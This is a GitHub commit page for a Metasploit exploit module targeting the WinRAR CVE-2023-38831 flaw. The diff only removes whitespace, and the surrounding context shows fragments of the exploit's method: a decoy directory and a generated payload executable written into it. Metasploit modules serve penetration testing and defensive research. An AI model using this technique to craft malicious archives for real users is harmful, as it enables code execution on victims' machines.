Skip to content

Commit

Permalink
Update winrar_cve_2023_38831.rb
Browse files Browse the repository at this point in the history
  • Loading branch information
xaitax committed Sep 7, 2023
1 parent 4d2277f commit adae68d
Showing 1 changed file with 1 addition and 2 deletions.
3 changes: 1 addition & 2 deletions modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
Expand Down Expand Up @@ -64,7 +64,6 @@ def exploit
decoy_dir = File.join(temp_dir, "#{decoy_name}A")
Dir.mkdir(decoy_dir)


payload_path = File.join(decoy_dir, payload_name)
File.open(payload_path, 'wb') { |file| file.write(generate_payload_exe) }

Expand Down

0 comments on commit adae68d

Please sign in to comment.